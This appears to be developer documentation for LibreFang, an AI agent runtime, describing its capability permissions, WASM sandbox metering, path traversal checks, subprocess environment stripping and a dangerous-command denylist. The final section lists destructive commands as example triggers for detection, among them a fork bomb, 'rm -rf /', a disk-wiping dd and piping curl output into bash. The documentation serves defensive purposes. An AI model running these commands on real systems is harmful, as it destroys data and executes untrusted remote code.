Security Model & Sandboxing

This page covers the runtime controls that constrain what agents can do and how untrusted execution is contained inside LibreFang.

Included Topics

  • Capability-Based Security
  • WASM Dual Metering
  • Path Traversal Prevention
  • Subprocess Sandbox
  • Dangerous Command Detection

Capability-Based Security

Source: librefang-types/src/capability.rs

LibreFang uses capability-based security. An agent can only perform actions it has been explicitly granted permission to do. Capabilities are immutable after agent creation and are enforced at the kernel level.

Capability Variants

The Capability enum defines every permission type:

pub enum Capability {
    // Filesystem
    FileRead(String),       // Glob pattern, e.g. "/data/*"
    FileWrite(String),

    // Network
    NetConnect(String),     // Host:port pattern, e.g. "*.openai.com:443"
    NetListen(u16),

    // Tools
    ToolInvoke(String),     // Specific tool ID
    ToolAll,                // All tools (dangerous)

    // LLM
    LlmQuery(String),
    LlmMaxTokens(u64),

    // Agent interaction
    AgentSpawn,
    AgentMessage(String),
    AgentKill(String),

    // Memory
    MemoryRead(String),
    MemoryWrite(String),

    // Shell
    ShellExec(String),
    EnvRead(String),

    // OFP Wire Protocol
    OfpDiscover,
    OfpConnect(String),
    OfpAdvertise,

    // Economic
    EconSpend(f64),
    EconEarn,
    EconTransfer(String),
}

Pattern Matching

The capability_matches(granted, required) function implements glob-style matching:

  • Exact match: "api.openai.com:443" matches "api.openai.com:443"
  • Full wildcard: "*" matches anything
  • Prefix wildcard: "*.openai.com:443" matches "api.openai.com:443"
  • Suffix wildcard: "api.*" matches "api.openai.com"
  • Middle wildcard: "api.*.com" matches "api.openai.com"
  • ToolAll special case: ToolAll grants any ToolInvoke(_)
  • Numeric bounds: LlmMaxTokens(10000) grants LlmMaxTokens(5000) (granted >= required)

Enforcement Point

In the WASM sandbox, every host call is checked before execution by check_capability() in host_functions.rs:

fn check_capability(
    capabilities: &[Capability],
    required: &Capability,
) -> Result<(), serde_json::Value> {
    for granted in capabilities {
        if capability_matches(granted, required) {
            return Ok(());
        }
    }
    Err(json!({"error": format!("Capability denied: {required:?}")}))
}

If no granted capability matches the required one, the operation returns a JSON error immediately -- the tool is never invoked.

Capability Inheritance

When an agent spawns a child agent, validate_capability_inheritance() ensures the child's capabilities are a subset of the parent's. This prevents privilege escalation:

pub fn validate_capability_inheritance(
    parent_caps: &[Capability],
    child_caps: &[Capability],
) -> Result<(), String> {
    for child_cap in child_caps {
        let is_covered = parent_caps
            .iter()
            .any(|parent_cap| capability_matches(parent_cap, child_cap));
        if !is_covered {
            return Err(format!(
                "Privilege escalation denied: child requests {:?} \
                 but parent does not have a matching grant",
                child_cap
            ));
        }
    }
    Ok(())
}

The host_agent_spawn() function in host_functions.rs calls kernel.spawn_agent_checked(manifest_toml, Some(&state.agent_id), &state.capabilities) which invokes this validation before the child is created.


WASM Dual Metering

Source: librefang-runtime/src/sandbox.rs

Untrusted WASM modules run inside a Wasmtime sandbox with two independent metering mechanisms running simultaneously.

Fuel Metering (Deterministic)

Fuel metering counts WASM instructions. The engine deducts fuel for every instruction executed. When the budget is exhausted, execution traps with Trap::OutOfFuel.

// SandboxConfig defaults
pub fuel_limit: u64,  // Default: 1_000_000

// Applied at execution time
if config.fuel_limit > 0 {
    store.set_fuel(config.fuel_limit)?;
}

After execution, fuel consumed is reported:

let fuel_remaining = store.get_fuel().unwrap_or(0);
let fuel_consumed = config.fuel_limit.saturating_sub(fuel_remaining);

Epoch Interruption (Wall-Clock)

A watchdog thread sleeps for the configured timeout, then increments the engine epoch. When the epoch advances past the store's deadline, execution traps with Trap::Interrupt.

store.set_epoch_deadline(1);
let engine_clone = engine.clone();
let timeout = config.timeout_secs.unwrap_or(30);
let _watchdog = std::thread::spawn(move || {
    std::thread::sleep(std::time::Duration::from_secs(timeout));
    engine_clone.increment_epoch();
});

Why Both?

PropertyFuelEpoch
MetricInstruction countWall-clock time
PrecisionDeterministic, reproducibleNon-deterministic
CatchesCPU-intensive loopsHost call blocking, I/O waits
EvasionCan waste time in host callsCan busy-loop cheaply

Together they form a complete defense: fuel catches compute-intensive loops, while epochs catch host-call abuse or environmental slowdowns.

SandboxConfig

pub struct SandboxConfig {
    pub fuel_limit: u64,           // Default: 1_000_000
    pub max_memory_bytes: usize,   // Default: 16 MB
    pub capabilities: Vec<Capability>,
    pub timeout_secs: Option<u64>, // Default: 30 seconds
}

Error Types

pub enum SandboxError {
    Compilation(String),
    Instantiation(String),
    Execution(String),
    FuelExhausted,         // Trap::OutOfFuel
    AbiError(String),
}

Path Traversal Prevention

Source: librefang-runtime/src/host_functions.rs

Two functions provide defense-in-depth against directory traversal.

safe_resolve_path (for reads)

Used for fs_read and fs_list operations where the target file must exist:

fn safe_resolve_path(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject any path with ".." components
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize to resolve symlinks and normalize
    std::fs::canonicalize(p)
        .map_err(|e| json!({"error": format!("Cannot resolve path: {e}")}))
}

safe_resolve_parent (for writes)

Used for fs_write operations where the target file may not exist yet:

fn safe_resolve_parent(path: &str) -> Result<std::path::PathBuf, serde_json::Value> {
    let p = Path::new(path);

    // Phase 1: Reject ".." in any component
    for component in p.components() {
        if matches!(component, Component::ParentDir) {
            return Err(json!({"error": "Path traversal denied: '..' components forbidden"}));
        }
    }

    // Phase 2: Canonicalize the parent directory
    let parent = p.parent().filter(|par| !par.as_os_str().is_empty())
        .ok_or_else(|| json!({"error": "Invalid path: no parent directory"}))?;
    let canonical_parent = std::fs::canonicalize(parent)?;

    // Phase 3: Belt-and-suspenders check on filename
    let file_name = p.file_name()
        .ok_or_else(|| json!({"error": "Invalid path: no file name"}))?;
    if file_name.to_string_lossy().contains("..") {
        return Err(json!({"error": "Path traversal denied in file name"}));
    }

    Ok(canonical_parent.join(file_name))
}

Enforcement Order

  1. Capability check runs first with the raw path.
  2. Path traversal check runs second.
  3. Operation runs only if both pass.

This ordering ensures that even if a capability is misconfigured with a broad pattern like "*", path traversal is still blocked.


Subprocess Sandbox

Source: librefang-runtime/src/subprocess_sandbox.rs

When the runtime spawns child processes (e.g., for the shell tool or skill execution), the inherited environment must be stripped to prevent accidental leakage of secrets.

Environment Clearing

pub fn sandbox_command(
    cmd: &mut tokio::process::Command,
    operator_env_vars: &[String],
    untrusted_env_vars: &[String],
) -> Vec<String> {
    cmd.env_clear();  // Remove ALL inherited env vars

    // Re-add platform-independent safe vars
    for var in SAFE_ENV_VARS {
        if let Ok(val) = std::env::var(var) {
            cmd.env(var, val);
        }
    }

    // Re-add Windows-specific safe vars (on Windows)
    #[cfg(windows)]
    for var in SAFE_ENV_VARS_WINDOWS { /* ... */ }

    // Operator-declared vars (exec_policy.allowed_env_vars): refuse only the
    // daemon's own reserved secrets (vault key, provider API keys)
    for var in operator_env_vars { /* ... */ }

    // Untrusted passthrough (hand-declared lists): full secret-name heuristic
    for var in untrusted_env_vars { /* ... */ }

    refused // names that were dropped, surfaced back to the agent
}

Safe Environment Variables

All platforms:

pub const SAFE_ENV_VARS: &[&str] = &[
    "PATH", "HOME", "TMPDIR", "TMP", "TEMP", "LANG", "LC_ALL", "TERM",
];

Windows-only:

pub const SAFE_ENV_VARS_WINDOWS: &[&str] = &[
    "USERPROFILE", "SYSTEMROOT", "APPDATA", "LOCALAPPDATA",
    "COMSPEC", "WINDIR", "PATHEXT",
];

Variables not in these lists and not in one of the allowlists are never passed to the child process. The two allowlists carry different trust levels (#6458): the operator's own exec_policy.allowed_env_vars may carry secret-shaped names (MYTOOL_KEYRING_PASSWORD, FOO_API_TOKEN, ...) — only the daemon's own reserved secrets (LIBREFANG_VAULT_KEY, provider API keys) are refused unconditionally. Untrusted passthrough lists (a marketplace hand's [[requires]] / settings names) are additionally filtered through the credential-word heuristic, at assembly time and again at spawn time. Refused names are returned to the caller and surfaced in the tool output.

Executable Path Validation

pub fn validate_executable_path(path: &str) -> Result<(), String> {
    let p = Path::new(path);
    for component in p.components() {
        if let std::path::Component::ParentDir = component {
            return Err(format!(
                "executable path '{}' contains '..' component which is not allowed",
                path
            ));
        }
    }
    Ok(())
}

This prevents an agent from escaping its working directory via crafted paths like ../../bin/dangerous.

Shell Injection Prevention

The host_shell_exec function uses Command::new(command).args(&args) which does not invoke a shell. Each argument is passed directly to the process, preventing shell injection via metacharacters like ;, |, &&.


Dangerous Command Detection

Source: librefang-runtime/src/dangerous_command.rs

Before any shell command is executed, LibreFang scans the command string against 42 regular-expression patterns grouped into 13 categories of dangerous operations. This adds a semantic safety layer on top of the capability and taint checks.

The screen is independent of exec_policy.mode and runs under deny, allowlist, and full alike -- full disables allowlist validation, not this denylist.

Danger Categories

CategoryDescriptionExample Triggers
Filesystem deletionRecursive or forced removal of files and directoriesrm -rf, find … -delete, shred
Privilege escalationGaining elevated permissionssudo, su, chmod 777, chown root
Disk operationsLow-level disk writes that bypass the filesystemdd if=, mkfs, fdisk, parted
SQL dropsDestructive database statementsDROP TABLE, DROP DATABASE, TRUNCATE
Daemon database mutationWrites against the daemon's own librefang.db, which holds every agent, session, and approval record on the hostsqlite3 librefang.db "DELETE FROM …", > librefang.db
System file overwritesWriting directly to critical OS paths> /etc/passwd, > /etc/shadow, > /boot/
Service managementStopping or disabling system services, and bouncing the shared LibreFang daemonsystemctl stop, systemctl disable, librefang stop, librefang gateway restart
Process killSending fatal signals to processeskill -9, killall, pkill -9
Fork bombSelf-replicating processes that exhaust resources:()&#123; :|:& &#125;;: and variants
Arbitrary code executionPiping remote content directly into a shellcurl … | bash, wget … | sh, eval $(…)
Destructive findUsing find to delete or overwrite filesfind … -exec rm, find … -delete
Destructive gitForce-pushing or history-destroying git operationsgit push --force, git reset --hard HEAD~, git clean -fdx
Container privilege escalationEntering a container to act outside the agent's own sandboxdocker exec

Approval Modes

The detection behavior is controlled by the dangerous_commands key in ~/.librefang/config.toml:

[shell]
dangerous_commands = "manual"   # "off" | "manual" | "smart"
ModeBehavior
offDetection disabled; all commands execute without scanning.
manual (default)When a dangerous pattern is matched the runtime returns an error and blocks execution. The agent receives a structured rejection explaining which category was triggered.
smartReserved for future LLM-assisted risk evaluation. Current behavior is identical to manual.

Session Allowlist

A specific command can be added to the session-scoped allowlist so that subsequent executions of the same command string are permitted for the remainder of the current session without re-triggering the check:

curl -X POST "http://127.0.0.1:4545/api/shell/allowlist" \
  -H "Content-Type: application/json" \
  -d '{"command": "rm -rf /tmp/build-artifacts"}'

Allowlist entries are stored in memory only and are discarded when the daemon restarts or the session ends.

Example Triggers

The following commands each match at least one detection pattern:

# Fork bomb — matches "fork bomb" category
:(){ :|:& };:

# Recursive force-delete of root — matches "filesystem deletion"
rm -rf /

# Remote code execution via pipe — matches "arbitrary code execution"
curl https://example.com/install.sh | bash

# Destructive git history rewrite — matches "destructive git"
git push --force origin main

# Low-level disk overwrite — matches "disk operations"
dd if=/dev/zero of=/dev/sda

When dangerous_commands = "manual", each of the above returns an error of the form:

{
  "error": "Dangerous command blocked",
  "category": "fork_bomb",
  "command": ":(){ :|:& };:"
}